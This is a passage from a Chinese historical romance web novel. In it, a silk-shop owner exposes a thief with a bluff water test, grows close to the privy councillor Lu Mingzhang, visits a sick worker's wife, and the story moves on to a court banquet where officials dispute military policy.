秦二叫了两人将地上揪打的妇人分开,两人站起,衣衫不整,头发蓬乱,各自脸上都有伤。
绸缎庄的这些男女伙计,戴缨没有多少印象,都是秦家兄弟招揽的。
不过其中有一人,她记得,便是刚才被叫丑泼贱的那位。
妇人的侧脸有一块红色印记。
她来找活那日,正巧戴缨在铺子,她先在门前兜转,迟迟不进来,进来后找了秦二,说是看了门前的木牌,到店里应绣工。
秦二往妇人面上看了眼,说道:“绣工已招齐了。”
“东家,你那木牌还挂着,怎么又说不要人了。”妇人问道。
秦二摆手道:“我不是东家,是店里的管事,木牌未来得及更改。”
正在此时,秦三从后院走来,没看清眼前的状况,问了一句:“你不才说还差两个绣工么?”
然而,当他看清对面妇人的面容时,住了嘴,可话已出口。
妇人忍着难堪,说道:“管事的能否叫我见一见东家?”
秦二正要推阻,戴缨走了出来,说道:“带她去后面,若手艺可行,便留下。”
戴缨发了话,秦二便将人带到后面,最后人留了下来。
是以,戴缨对这个面有红印的妇人有印象。
“怎么回事?”
另一个稍显壮胖的妇人抢说道:“这个徐三娘偷拿东西,被我捉了个现行,这等手脚不干净的人怎么能留。”
戴缨看向徐三娘,问道:“她说你偷拿,你可认?”
徐三娘咬了咬牙,从荷包掏出一块碎料,递上:“制衣时裁下来的碎料,想着给自家小儿做件小兜兜。”
徐三娘是个寡妇,家中有个不满一岁的小儿,她出门做工时,便将孩子托管到邻舍。
周围人一看,唉了一声,这是多大的事,碎料,都是不要的,他们平日也会拣一两块。
东家没说不可以,管事也睁一只眼闭一只眼。<
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br>谁知一旁的胖妇人匹手夺过,唾沫横飞说道:“东家可别被她骗了,哪里只拿了一块碎料,身上藏得还有呢。”
徐三娘气得两眼通红:“我只拿了碎料,哪还有别的?”
“你说没拿就没拿?掌柜的让人搜她的身。”胖妇人不依不饶,又看向戴缨,一副邀功的架势。
不等人说,徐三娘为证明自己清白,当着众人的面,将双袖并衣兜抖动。
抖动中一物掉落于地。
胖妇人指说道:“大家伙看看,是不是赃物。”
戴缨弯腰拾起,是个灰色巾帕折成的小布包。
一点点打开,众人探脖去看,在看到巾帕中包裹的东西后,全瞪大双眼,露出一副意料之外,又在意料之中的表情。
意料之中,是因为偷拿之物必是金贵,眼前这东西很细小,却极为金贵。
意料之外,是因为他们想不到徐三娘胆儿大,敢拿它。
那灰巾帕上静躺着一卷金线,以金箔熔炼成,关键是工艺太复杂,这玩意儿不比罗、锦便宜。
戴缨看着这一卷金线,应是前些时给陆铭章制衫袍,用来镶袖口纹路的。
“东家,我没拿金钱,这不是我拿的。”徐三娘也惊住了。
戴缨看向徐三娘,反问:“你没拿?那如何在你兜里,总不能是它自己长脚……跑到你身上的?”
众人听后,笑了起来,然而徐三娘似是受到点拨,把头转向胖妇人,抬手一指。
“是她!她偷金线,她贼喊捉贼!”
胖妇人面上闪过一丝慌乱,回骂道:“天打雷劈的谎精!,你偷了金线不说,倒把血盆子往我头上扣,替你顶这贼名儿,须叫你烂舌根。”
徐三娘气得浑身发抖,她口舌夯笨,吵不过胖妇人,越是急越不会说话,舌头打了结。
这时,戴缨的声音不疾不徐地缓缓道来:“缘何说她贼喊捉贼?”
徐三娘平了平气息,就着戴缨的问话,答道:“昨日,我走得晚,去了一趟茅房,出来见一人鬼鬼祟祟,于是悄不声儿地跟了上去。”
说着指向胖妇人,“就见她背着身,不知鼓捣什么,上前问她,谁知她慌得一转身,手上的东西掉落,正是一卷金线。”
胖妇人瞪着双眼,向戴缨诉怨:“东家莫要信这丑妇的话,奴在这里立个毒誓,若沾了金线,教奴浑身长疔疮。”
戴缨不作理会,继续问徐三娘:“你说她是贼,可有证据?”
徐三娘一愣,心里着急:“是我亲眼看见的,她定是怕我告发,于是栽赃于我,好叫东家打发我。”
“本就是你二人相互攀扯,她指认你,你指认她,你又没有证据,只有一句亲眼看见,而你身上掉出金线是事实,有这么些人看着,叫我怎么信呢。”戴缨说道。
胖妇人看向徐三娘,面上露出挑衅的意味。
徐三娘终于忍不住,红了眼,颤着唇说道:“东家,能不能不赶奴走,家里还有个不满一岁的小儿……”
说着,就在跪下,她因容貌原因,找一份活计不容易……
第54章 我想让大人陪同
戴缨看向跪地的徐三娘,正要开口,让她起身,一道尖厉的声音响起,正是胖妇人。
“只你家有孩子,别人家没孩子?谁没家人养活?哪个出来不为了生计,你如今被揭发,心虚了,就装乞扮怜,想让东家留用你……”妇人哧哧两声,“一窝子都是三只手。”
这“一窝子”三个字,不仅骂徐三娘,连同她那牙牙学语的小儿也不放过,徐三娘牙一咬,作势起身,要和胖妇人拼命。
谁知起得突然,气力迅猛,手肘甩向欲扶她起身的戴缨,戴缨没站稳,“嗳,嗳”叫了两声,往后仰去,后背及时抵上一个温热的力道,稳住她的身子。
回头去看,立于她身后之人正是陆铭章。
“你这里面比外面大堂还热闹。”陆铭章眼中闪过淡淡的笑意。
戴缨立好身,理了理衣襟,心中暗恼,存了一份不想被轻看的心理。
“让大人笑话了……”
他立于她的身侧,温净的声音低低传来:“若是不想被笑话,就让我瞧瞧你的能耐。”
似有若无的气息轻拂过她的耳尖,她的袖摆同他的袖摆相贴。
忽然想到什么,微微侧过身,仰头望向他,扬起嘴角,狡黠笑道:“我若是理清断案,大人可否应我一个请求。”
“你处理自家铺子的事情,却要我应你一个请求?”
戴缨笑而不语,就那么把陆铭章看着,像是娇蛮地同自己的情郎讨话。
陆铭章从戴缨的面上挪开视线:“好。”
“大人这是应了?”
“别急,得看你这案断得如何,是‘清官’还是‘庸官’”陆铭章低下眼看戴缨。
叫他这一看,她心里又是一跳,浅浅的眼褶,带了一点点迁就和包容,很好看的眼形,她才发现,陆铭章的眼睛真的好看,说不出的好看。
看得稍稍久一点,便不自觉地溺进去,不愿出来,于是赶紧收回目光,捺下错乱的心跳,往前走了两步。
众人已将徐三娘和胖妇人拉扯住。
“东家,快将这贼婆娘撵走。”胖妇人叉腰道。
徐三娘抹了一把眼泪,不再吭声。
“我这铺子容不得手脚不干净之人,你们两人肯定要走一个。”
戴缨转头看向徐三娘,“要么你走。”接着又看向胖妇人,“要么你走,又或是……你二人都走。”
胖妇人扬起下巴,气势腾腾:“谁偷了金线谁走,大家伙都看见了。”
众人纷纷点头。
戴缨亦点头,然而接下来却说:“不过呢……刚才徐三娘说你栽赃她,倒让我想到一点。”
接着重新取出灰色巾帕,走到人群中间,将金线呈出。
“此金线制作工艺复杂,先以金锭熔炼成金箔,锻压成片,再裱覆,最后切割成扁金线,如此一道道工艺走下来,金线表面不可避免地会有浮屑。”
戴缨走到徐三娘面前,示意她摊开手。
徐三娘将双手摊开,众人去看,看了又看,一人嘀咕出声:“什么也没有啊?”
戴缨故作恍然:“不奇怪,金线上面的粉粒太过细小,仅凭眼睛看不出来,只需拿一个装水的铜盆来,将手浸于水中,金粉自会浮于水面,一看便可知晓。”
秦二立马让人端了一盆水来。
“你二人将手浸于水中,若只有徐三娘手上有浮粉,那么徐三娘就是偷盗之人,若你二人手上都有浮粉,那就证明……”戴缨看向胖妇人,“是你拿了金线,嫁祸于徐三娘。”
铜盆端至胖妇人面前时,胖妇人下意识地往后退了一步。
戴缨看在眼里,又道:“丑话说前面,现在若是承认,我不追究,拿了工钱走人,若叫我用法子试出来……少不得走一趟官衙,届时,是杖打,还是用拶子夹手,可就不是我说了算的。”
众人开始催促胖妇人:“将手放里面,快些。”
胖妇人又退一步,一把将盆掀翻,喝了一声:“什么破店,老娘还不稀得待了。”
众人这下看明白,胖妇人这是做贼心虚。
既然事情已明了,无需戴缨另外交代,秦二知道接下来该如何做。
戴缨侧头看向陆铭章,扬起的下巴有些小小的得意。
陆铭章轻笑一声,往前面去了,戴缨随在身后,两人绕过帷屏,走到里间。
“我这个案断得如何?大人评一评。”
陆铭章坐下,吐露两个字:“尚可。”
“怎么只是尚可?”
“若那妇人胆再大些,你这伎俩可就露馅了。”
什么金钱上有浮屑,那是用金锭熔炼的,哪有浮屑,就是有浮屑,几经转手,也没了。
戴缨走到陆铭章身侧侍立,替他倒了一盏茶,说道:“非也,并不会露馅。”
“哦?说来听听。”
“大人可还记得第一次,我让徐三娘摊掌,看她手上是否有浮屑?”戴缨问道。
陆铭章点头,让她继续说。
“最先,我有意先验徐三娘,暗中观察胖妇人,见她将双手使力往衣衫蹭,又将手背到身后。”
戴缨轻笑出声,坐到陆铭章身侧,“那个时候,我便知道就是她了,之后用水验,不过是为了让众人看清谁才是偷盗之人,也是替徐三娘洗清嫌疑。”
说罢,睁着一双清亮的眼看向陆铭章,仿若等待被夸的孩子。
陆铭章端起茶盏轻啜一口,戴缨追问:“还是尚可么?”
陆铭章轻笑出声,又道了两个字:“颇佳。”
戴缨继续追问道:“那我是‘清官’还是‘庸官’?”
陆铭章的腔音不知不觉变得温软:“清官。”
得了肯定,戴缨吃吃笑起来。
这笑声让立于帷屏外的长安侧目,里间人说话的内容他听得清楚,却不过心,他存在的意义就是护阿郎的长久安宁。
可刚才他家主子笑出声,连他都有些好奇,阿郎真心笑起来是何模样。
帷屏内的声音再次隐隐响起。
“你给我做的衫袍呢?”
戴缨差点把这岔忘了,起身走到外面,让归雁将衫袍取了来。
“大人看看,可还满意?”
陆铭章看了一眼,说道:“替我更上试试。”
戴缨愣了一下,低下头,不知该如何回答,手在宽大的
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衣袖下绞着。
她不是什么也不懂的小女儿家,陆铭章的态度,她怎会不明白。他对她有些不一样,同其他人都不一样。
可她告诉自己,不行,她不想再当妾,妾是什么,是贱籍,是奴,就算被主家打杀,也是活该。
那平谷的小衙内不就是么,酒后打死自己的妾室,仅凭此一样,都无法将他定罪,最后陆铭章让人搜罗了他的其他的罪证,才治了重罪。
可她又贪心,惊骇地发现自己内心深处不可昭示的私心,她想让陆铭章成为自己的倚仗。
而陆铭章对她的这份不同,让她有点点窃喜。
她,一个众人瞧不上的商女,竟让这位大衍朝的枢密使动了心意,这里面或多或少存了一份想要炫耀的虚荣。
她知道自己这个时候该拒绝,不去靠近他,她会因为一时的随心遭到反噬。
因为陆铭章比谢容更危险,然而……
她走到他的身前,抬起手,解开他领间的纽子,再往下……
两人谁也没有说话,只有窸窣的衣料响。
她动作时不敢抬头,一颗脑袋始终埋着,即使抬眼拿取衣衫,也让自己的视线变虚,快速掠过。
陆铭章稍稍低下眼,心道,皮肉太白了就是这样,一点点红,很显眼,耳下粉着,纤长的颈儿也粉了,衣领下应该也是……
“大人。”戴缨低唤了一声。
陆铭章“嗯”了一声,示意她说。
戴缨指尖巧动,一面扣着他领间的纽子,一面说道:“适才大人说我是‘清官’,那大人先前说的话还作数么?”
“自然,说来。”陆铭章心情不错。
扣完纽子,戴缨未放下手,而是将一双手轻慢慢地抵在他的胸口。
“中秋那日,我想让大人陪同出行,大人不可推故……”
说完,她等他的回答,一颗心不受控制地狂跳,甚至能听到耳鼓中的“怦怦——”响动。
中秋团圆佳节,以他这般身份的人,却是一年中最忙乱的时候。
宫里的宴席是恩宠,同僚的邀约是情面,下属的盛情是体恤,哪一处都关乎人情世故,哪一处都怠慢不得。
她竟真的开口让他陪她。
先前想的各种各样的借口、理由全都没用上,就这么直戳戳开口了。
衣料下的呼吸缓缓起伏,温着她的掌心,终于,他的声音自头顶传来。
“宫宴后,我陪你……”
戴缨双手一颤,缓缓放下,说不清心里什么感觉,欢喜是有的,她没想到,他真就一口应下,可这份欢喜并不彻底,莫名生出一点点酸涩。
因为一切是那样的不真实,他立得太高了,她踮着脚也够不着啊。
犹如月下影,见不得光。
她将更换的衫袍整叠好,放入匣中。
陆铭章走后,戴缨仍有些回不过神,呆坐于凳上,拿手抚了抚脸颊,有些烫,怎么那样大胆呢?若叫她再说一次,指定开不了口。
羞热的思绪中,她伏于桌案,头枕着衣袖,又拿手背贴了贴脸,让脸上的躁意凉下来,挥动间,袖口盈上不属于她的青木香……
第55章 热乎乎的气息
中秋前夕,民间充斥着节日的气氛。
街边的小摊位摆上糖饼、麦饼、果陷饼,各种小饼,上面用模子印出月兔、云纹、福字等不同的花纹。
时令水果更是多,石榴、梨、枣、栗子、葡萄、柑橘,垒叠成色彩鲜艳的宝塔,或铺展开。
因是节庆又临近换季,各绸缎庄的生意也相当不错。
到了中秋前几日,戴缨同谢珍被谢家人接回了谢府过中秋。
回谢家后,戴缨白日多半待在华四锦,其实就算绸缎庄再忙,她也不必要去,自有秦家兄弟打理。
但她仍是选择待在店里。
铺子的生意不错,不过想要更大的名,只凭守店是不行的,戴家在平谷生意做得大,戴家人的野心自然也大。
既然铺子开到了京都,绝不甘愿只作个三、四流的小铺面,这可不是戴缨的初衷,亦不是戴万昌的初衷。
戴家不少钱,他们要的是更大的名,所以才费尽心思在中秋之日打响名头。
客堂热闹,男男女女往来不绝。
华四锦一楼陈列各类布匹,有简素的、经典的、华贵的还有当下最时兴的,根据不同类别陈放于不同的区。
客人们扯了布,若是想自家做,便只付缎子钱,若是想店里的缝人制作,就另付一笔费用。
便有伙计招呼学徒来,给客人测量尺寸,详细记到册子上,再按序制衣。
当然了,也有富户人家,想要定布料花样的,便会请到二楼,由专人接待介绍,自有一套完整的章程。
大堂东南一角,阔大的落地罩隔出一隅,专属于戴缨的坐歇处。
外面人声嘈杂,听在她耳朵里却是静的,这声音叫她安心。
秦二的声音从外响起:“东家,陈伙计来了。”
“将人请进来罢。”
陈左一伙人的工费差不多结清,只有质钱留着,作为后期修整。
不一会儿,陈左走了进来,手里提着麻草结的网兜,网兜里是一个裹得严实的布袋。
“中秋快要到了,提些东西来给东家做节庆。”
戴缨笑着起身,道了几句客气话,将陈左递来的礼收下,拿在手里还有些沉。
陈左看着那布袋,又追说一句:“知道东家不缺好东西,什么山珍海味都尝过,这东西虽不是什么金贵物,却是家妻亲自做的,外面买不上。”
戴缨饶有兴致地问道:“这里面是什么?小饼?”
陈左见戴缨问起,感觉妻子的心意被珍重。
“是她亲手酿的桂花酒,另有一包糖蜜糕。”
戴缨不善饮酒,私下也不喝,只在节庆,席间陪喝两小盏应个景,不过既是别人的心意,不好辜负。
“正正好,这桂花酒自家酿得才醇香,待我问嫂夫人安。”
今日陈左穿了一件新整的褐色及膝衫,头发也梳得光溜。
眉目舒展时,眉间有两道不深不浅的印,稍一用力,这褶更深,一身皮肤被生活摩挲得粗粝黝黑。
礼已送到,陈左就要起身,戴缨却开口道:“陈大哥,嫂夫人身子可还好?”
陈左双手交握于桌上,面上没有喜色,一身新衣和他那苍郁的神色形成了鲜明对比。
“好些了……”
这语调让任何人听,都知道并不好,他只是习惯了说这三个字。
“陈大哥,等我将这铺子料理妥当,还会在城东再开一家绸缎铺,日后指不定还会开一家酒楼。”戴缨微笑道,“你若有空当,还是你带人帮我修整,如何?”
陈左赶紧从座位站起,拱手做了一个深揖:“谢东家看顾,给我活计。”
两人又说了些话,陈左辞了去。
次日,戴缨让归雁买了些礼,打听了陈左的住处,乘车到他家看望。
陈左家就在城外不远的一村落。
村里小道太多,走一段便是一处岔路,有些路面太窄,车过不了,戴缨便同归雁下车步行。
边走边寻村人问路。
“小娘子找陈家?”一个路过的老妪问道。
“是,老人家可知陈家怎么走?”戴缨说道。
老妪先是将戴缨上下打量一番,用一双沟壑纵横的老手拉起她的衣裳,嘴里啧声连连。
“这衣料可真好。”说着又拉起戴缨的手,“这双手一看就是没做过活计的,比豆腐还软和。”
戴缨将手抽出,给归雁睇了眼色。
归雁上前,从袖中掏出一吊钱塞到老妪手中,怕她耳朵不好,扬起声调。
“快到中秋了,您老人家拿去买些好吃的。”
老妪笑嘻嘻将钱收入腰间,说道:“陈左家就在前头,不远,从这直走,第二个岔路口左拐,再走到头,门上什么也没贴的就是了。”
戴缨点了点头,抬脚欲走,那老妪却叹道:“你过节去他家做什么。”
“老人家为何这样说?”
“陈左家有个病秧子,一年到头就没好的时候,家里都快被药淹了,你这小娘子生得亮眼,一身的鲜活劲,去了不怕晦气?”
老妪说罢,趋着小碎步走了。
晦气?想她从前也是浸在药罐子里……
“主子?”归雁从旁轻唤。
戴缨回过神,往老妪指的方向行去,走到一户门前,门上光秃秃的,灰黄一片,门那边有些许响动,像是有人在院中汲水。
戴缨上前敲响木门。
院子里静了一下,里面的人似是没料到会有人来。
“谁?”
“陈大哥,是我。”戴缨答道。
下一刻,房门从里打开,陈左见是戴缨,有些意外,赶紧将人请到院中。
“东家怎么找到这里的?”一面说着,一面两手各提一个竹椅来,“快坐,快坐。”
不待戴缨开口,他又回身跑向屋里,传出一点点细隐隐的人声,似是女人说话的声音。
不过一会儿,陈左端了一个盘出来,放到戴缨和归雁面前,那盘里是瓜子、花生还有一些裹了**的糖丸。
“没甚好东西,随意,随意。”
这时,归雁上前两步,将手里提的礼递上:“陈大哥,我家小娘子的心意。”
“这怎么好,受了东家的恩,还让你们破费。”陈左看向戴缨。
戴缨两指拈起一颗糖丸,在面前晃了晃:“陈大哥快收下,你不收我怎好吃你家果儿。”
陈左听后,笑着将归雁手里的东西接过,放入堂屋。
戴缨观着院子,院子很简陋,井边放着一个汲水的木桶,院角拉了一根绳,绳上挂了几件湿衣衫。
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>陈左走了出来,戴缨开口说道:“陈大哥,我进屋看看嫂子?”
“她身上不好,只怕你进去,叫你沾了晦气。”
“特意来一趟,也是为着看看嫂子。”
陈左点头,先进去知会,再出来引戴缨进屋。
当戴缨看到床上的女子时,有一瞬间的失神和心疼。
苍薄的皮,枯瘦的面容,两眼尽管用力睁着,却是无神,黑色的眼珠蒙上一层灰影,嘴唇发白没有血色。
鸢娘见了戴缨,做势要起身,戴缨三两步上前,止住她的动作。
“嫂子别动,我来看看你。”
“奴身子不好,这样子见不得人,却让东家来看望。”鸢娘说道。
“嫂子可别这样说,昨儿我吃了你的桂花酿,就想来看一看,什么样的妙娘子,生了怎样一双巧手,能酿出这样好的酒。”
戴缨握起鸢娘的手,继续道,“嫂子知道,我是个商人,一见着好东西就往赚钱上头想,昨儿我还想着,今日一定要见见你,同你商量生意上的事哩!”
“生意上的事?”
“是,你的桂花酿口感香醇,叫我一个不好酒的人都忍不住多喝,且喝过后,夜里睡得香酣,这样好的手艺,该开个酒坊,不愁生意不好。”
戴缨话音清亮。
鸢娘听到心里,看着眼前的戴缨,白馥馥的面庞,两靥透粉,眼底有光,她被她欢动的话语感染。
陈左见自己妻子眼里有了光,不再灰蒙一片,那光亮并非来自她自己,而是从戴缨眼底映照的。
“所以嫂子快些将病养好,就以你的名儿做招牌,起个铺名,我来投钱,你负责酿酒,赚得钱我一半,你一半,好不好?”
鸢娘面上起了笑,想自己的病立马好起来,转头看向陈左。
陈左心里高兴,笑道:“别看我,东家问你呢,我又不会酿酒。”
戴缨插话道:“以后嫂子就是女东家,让陈大哥给你打下手。”
鸢娘真就期盼起来,不知是不是错觉,感觉身上有了一股热乎乎的气,她想,也许自己这病真能好呢。
“好,待奴身上好了,给东家酿酒,不要东家一分利钱,赏一口饭吃就行。”
戴缨笑了起来,佯装道:“你这么说,我可就当真了。”
屋里几人笑出声,鸢娘一双无神的眼有了弯弯的形状。
陈左湿了眼角,妻子因为不想拖累自己,每日盼着早点咽气,没有生的意志。
如今叫戴缨这么带动,居然有了不一样的情状。
戴缨本想来一趟陈家,看一看就离去,陈左却一再相留,估计见她同自己妻子聊得投缘。
中午,陈左下厨烧饭,戴缨留下来用饭,饭后,陈左将鸢娘扶到院中,几人在院子里说说笑笑,不知不觉过了一下午。
傍晚时分,陈左夫妇又盛情留她用了晚饭,饭间,还喝了几盏小酒。
吃到天色将晚,陈左将戴缨主仆送到马车边,才返回。
戴缨同归雁乘着马车回了城,驶到谢家府门前,归雁搀着戴缨从角门进入谢府。
她本就不胜酒力,晚间又在陈家多喝了几盏桂花酿,夜风一吹,上了头,步调变得虚浮无力。
走到内园时,前方转出一个人影……
第56章 让他移了心
此时天已完全暗下,园子里点了灯,光线昏黄。
戴缨在归雁的搀扶中,于小径漫走着,带着醉意轻笑出声。
“娘子笑什么?”归雁好奇。
她想什么呢,兴是今日见到鸢娘,想到了从前的自己,起码鸢娘还有疼爱她的夫君,守着她,不离不弃。
上一世,她在咽气时,很想问谢容,为什么对她那样狠心,是因为她没保住他们的孩子,所以不愿相见,还是因为在她失了孩子后,陆婉儿紧跟着有了身孕,让他移了心。
一墙之隔,她听到小儿成长的啼哭,陆婉儿幸福的笑还有谢容平和的声音。
也许是喝了酒的缘故,那些被她忘掉的从前,一下涌了出来,那个时候,她甚至想着,她院中的苦药味他是否能闻到。
后来,她见到了他,在咽气的前一刻。
他眼眶赤红,揽她在怀,身子抑制不住地发抖,一遍又一遍地唤她。
“阿缨……”
“阿缨……”
脑海中的声音远远传来,变得近了,变得清晰,到了她眼前。
“阿缨。”
谢容立在她的面前,没有痛不欲生的失态,仍是清俊干净的郎君。
“你去哪儿了,一整日不在?华四锦也不见你。”
戴缨吁出颤颤的酒息,从袖中抽出帕子,无意地拭了拭腮颊:“兄长未免过问太多。”
说罢,就要错身走开,却听得谢容一声冷笑。
“到底是不一样了,住到陆家,便不把我这个兄长放在眼里,如今连关心也是不能了。”
戴缨脚步顿住,谢容转身走到她的对面,问道:“你喝酒了?”
戴缨睁着一双微醉的眼看向谢容,有一瞬间的恍惚,拿着绢帕的手缓缓抬起,探向他……突然一声“阿嚏——”,扬起的手猛地收回,捂住口鼻。
“兄长还是离我远些,中秋就来了,免得过了病气。”
说罢,抬脚离去。
谢容看着那道远去的背影若有所思,她迷迷怔怔,却又突然清醒过来一般……
……
到了中秋这日,戴缨随谢家人早早用过节宴。
陆府的车驾已在府门前候等,戴缨同谢珍重新更衣,上了马车,往陆府行去。
进了陆府,两人径直去了上房,陆老夫人招戴缨和谢珍到跟前叙问一番。
屋子里大桌、小桌摆上佳肴。
陆家三房齐聚,不仅三房的袁老夫人来了,连偏院的曹老夫人也来了。
子孙后辈们再加上一大家的仆从,挤了满满一屋,不拘什么,各自说笑,衬着节庆的热闹。
陆溪儿拉了拉戴缨的衣袖,小声道:“今儿可算是热闹,头一回。”
戴缨看着这一屋的兴旺,慨然道:“是热闹。”
“嗳,我可不是说这个。”
“那你说什么呢。”戴缨漫不经心地从案几上拈了一颗枣放入嘴里。
陆溪儿也拣了一颗甜枣,说道:“今年咱们吃过家宴后便去襄楼看献艺。”
“襄楼看献艺?”
陆溪儿解释道:“就是瓦舍勾栏在中秋这日的才艺表演,年年由衙乐所牵头承办,你不还想让苏小小穿你家铺子的纱衣来着。”
戴缨会过意来,原来说的是这个:“往年你们没去看?”
“不一样,往年都是求得长辈们同意,带几名下人出去,今年不同。”陆溪儿将枣放入嘴里,含糊道,“今年我大伯专在襄楼定了雅座,位置够宽敞,视野好。”
陆溪儿吐出嘴里的枣核:“这可是头一回。”
“头一回?”戴缨有些惊奇,瓦舍勾栏演艺年年都有,陆府这样大的门第,居然头一回包座。
“是,大伯这人有些无趣,他不喜看这些,再加上老夫人年纪大了,凑不来这热闹,所以往年大小节庆,大伯只把梨园子弟叫到府里,让老夫人开心开心,我小叔呢,他是个不爱操心的,只顾自己戏耍,哪管我们。”
陆溪儿笑得一乐呵:“不知今年大伯怎么想着在襄楼订座,你来得正好,也能跟着咱们沾个香边。”
“坐在楼子里那才叫赏艺呢,往年咱们几个小的,不愿在台下凑挤,总也看不好,常常没到正戏就走了,就怕人一多,想走都走不了。”
陆溪儿絮絮说着。
戴缨却有些心不在焉。
那日她央陆铭章中秋出行,会不会他误以为她只是想看才艺表演,且是她腆着脸开口要求,不带一点委婉,他见她是客的份上,不好拒绝。
所以干脆在襄楼定了一层,方便所有陆家人前去欣赏中秋演艺,若是这样,那他还到场吗?
眼下陆铭章赴宫宴不在府中,陆家长一辈的男主子们都在宫中参加筵宴。
戴缨开始忐忑,苏小小登台若看不到陆铭章,就不会穿上她制的月光纱裙,那她耗费那么多的心血,岂不白费了。
“你想什么呢?怎么魂不守舍的?”陆溪儿往戴缨面上看了一眼。
戴缨收回神思,故作随意地问道:“想不到陆相不爱这些,今晚的中秋演艺,不知他去不去?”
“虽是包了襄楼,老夫人肯定是不去的,既然老夫人不去,我大伯多半不会到场,二房、三房的夫人们还有几个小辈应该会去,咱们这边不用说,陆婉儿、谢珍……”
在陆溪儿道出陆铭川不去后,后面说了什么,戴缨完全没听进耳中。
……
大衍皇宫。
宽阔的甬道上兵甲持戟侍立,宫人齐整成列趋步往御园行去。
皓月高挂,琉璃瓦下宫灯如昼,楼宇巍峨层叠,在月夜下像是嵌入暗蓝天际的墨色剪影。
御园中,檀木案排列,案上金汤泛盏,鎏金盏上是各类不曾见过的鲜果。
案几分成两列,延展而去。
宫装丽婢依序往各个案上摆放佳肴,每个案几后又有侍人执壶递酒。
上首,一张紫黑镶罗钿翘头御案横陈。
御案后坐着一个十岁身着朱红朝袍的小儿,小儿面色木然,眼睛不知看向下首何处。
这小儿便是衍帝,萧岩。
他的左
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手边还有一张案几,稍低于他,案后坐着一绝美的年轻妇人,一身威仪广袖朱红宫袍,头戴金玉冠,皓齿明眸,两道细眉如远翠。
这妇人是大衍朝太后,赵映安。
赵映安当初嫁给了太子,后太子登极帝位,赵映安成后宫之首,却多年无出,好不容易得了一子,便是如今的衍帝,然而没多久,年轻的帝王射猎从马上摔下,折了脖子。
不过这种不体面的死法,是不会对外宣告的,只说帝王夙夜忧心政务,过劳而死。
此时,内侍一声高唱:“圣人赐宴——”
女乐们纤指款舒管弦,婉转清灵的乐声流泄,又有教坊舞女身着鲜亮纱衣在月下起舞。
小皇帝的御案下,左右两侧,左侧坐着当朝宰相,也是文官之首,余信。
只见其一身紫色朝服,腰系白玉带,髯须花白,眼角散着不规则纹路,一双温煦的笑眼,看向谁都是和气。
与他相对的,也就是小皇帝右侧,案后同样坐着一紫色朝服之人,袍纹并无太大差别,腰间亦是一条四指宽的白玉束带,悬着鱼袋。
同五十多岁的余信相比,这人还很年轻,神情端肃,没什么多余的表情,平静地赏着堂间歌舞。
这人便是同为宰执的大衍朝枢密使,陆铭章。
舞毕,衍帝举杯,堂下众臣共举。
待众人饮罢,放杯,余信抱拳向上。
“今岁风调雨顺,边境安宁,此乃陛下仁德感天所致,佳节之际,老臣不由想起去岁此时,亦这般祥和,可见,只要内修文治,与邻邦敦睦交好,仁德教化四方,天下自安。”
众臣纷纷举杯相和。
小皇帝稚嫩的声音迟缓地响起:“余相所言甚是,太平岁月,来之不易。”
话音落,沉静中,陆铭章执杯,腔音肃而稳。
“宰相高瞻远瞩,心系万姓,下官感佩,内修文治乃固国之本,然,文治之盛亦需武备方能坚护,近日边关传来琐碎消息,虽无大碍,却也让下官更加笃信,唯文武并举,方使太平盛世永存。”
席间众臣见此情形,暗道一声,开始了,开始了,不带脏字的骂战开始了,这比歌舞更精彩。
这两人,一个老谋深算,一个深藏若虚。
当下各自站队,摩拳擦掌等待适时加入。
余信弯着笑眼,只是这会儿有些分辨不清,他是在笑还是在觑人。
“陆枢密年轻有为,心系边防,实乃国之幸事,只是某些加强边备、增训乡勇的言论,虽是好意,却徒耗国力,惊扰友邦,反生事端啊……”
这话像是一种信号,一语刚落,席间一官员向上揖拜。
“罗扶使团来年抵京,意在与我朝续签和约,永结盟好,此时若过分强调武备,恐令友邦心生疑虑,反为不美。”
此时又一人出声:“边关些许摩擦,或是下级军吏为邀功而夸大其词,亦未可知。”
这些人皆为余信一派,然,这等轻描淡写的论调,瞬间点燃了在场众武将……
第57章 舌战雷霆
中秋宫宴设在御园之中,偌大的园子张灯结彩,数十盏琉璃宫灯悬挂在花树间,将整个宴席照得如同白昼,园中花息飘香,与酒菜的香气交织在一起,沁人心脾。
月色如水,倾泻在青石铺就的地面,远处的假山在月光下投下斑驳的影子。
宴席设在临水的亭台之间,曲水流觞,丝竹声声,好一派皇家气象。
然而,景虽祥和,众官员间却暗流涌动,越是静,越是不同寻常。
陆铭章虽为文官,却驭着一众武将,他怎么可能让余信老狐狸在这种场合,扬文抑武。
况且,正因他掌管军政,深以为绝不可重文轻武。
陆铭章年纪轻轻已身居高位,这让余信感到危机,他本人以及党羽常对陆铭章进行抹黑,其抹黑手段层出不穷。
什么“贪念权位”“结党营私”“威福自专”,大到朝堂,小到个人生活,无孔不入。
这还是陆铭章私自活检点,没有半分越矩的情况下,若他稍有一点异态,只怕政敌们便会蚁聚蜂屯涌上。
然而,于他个人私生活上,就连余信一派也不得不服气,想咬都没地方下口。
余信拐弯抹角,让下属冲锋,直言边防异动不过是军吏为邀功而夸大其词。
又是“邀功”又是“夸大其词”,这可把在场众武将激怒了,他们舍命护国,如此轻飘地被这些文吏给抹了?
可他们口舌夯拙,说不出机关话,让他们摔杯砸盏可以,掀桌子骂娘更是不在话下,但这是宫宴,稍有粗莽便是以下犯上。
园中的气氛一时凝重,烛火在秋风中轻轻摇曳,在众人脸上投下明明灭灭的光影。
桌上的美酒在月光下泛着琥珀色的光泽,却无人有心品尝。
三衙将领憋屈得难受,既想高声喝骂,又担心没为自己争回面子,反被文吏们参一本。
正在众将怒不可遏,却又鸦雀无声之时,陆铭章沉静的声音缓缓响起。
“陛下,臣方才听闻众位大人高论,心中忽有一问,不解不快。”
上首小皇帝看向陆铭章,说道:“陆大人但说无妨。”
陆铭章转头看向余信,再看向众人,字句带着力道。
“适才诸位大人盛赞‘和’之利,不知可曾细究,这‘和’字从何而来?若非我军于城下射杀罗扶国大将,军威大振,方有此“和”,若无一战之威,仅凭‘仁’、‘和’二字,可使罗扶国俯首,赴我朝议事?”
不待余信等人开口,陆铭章步步紧逼。
“再者,宰相言道‘仁德教化四方’,然,若远邦非但不感怀,反视我为怯,如饿狼见肥羊,又当如何?”
“罗扶国的元彻,初即位时亦曾上表称臣,我朝赏赐不绝,可谓怀柔至矣,然其羽翼稍丰,便悍然入侵,我军将士至今尸骨未寒,此等教训,莫非宰相忘了?”
罗扶国对大衍一直虎视眈眈,罗扶国土小,但军备不弱,大衍国土广袤,经济繁兴,战力却不敌罗扶。
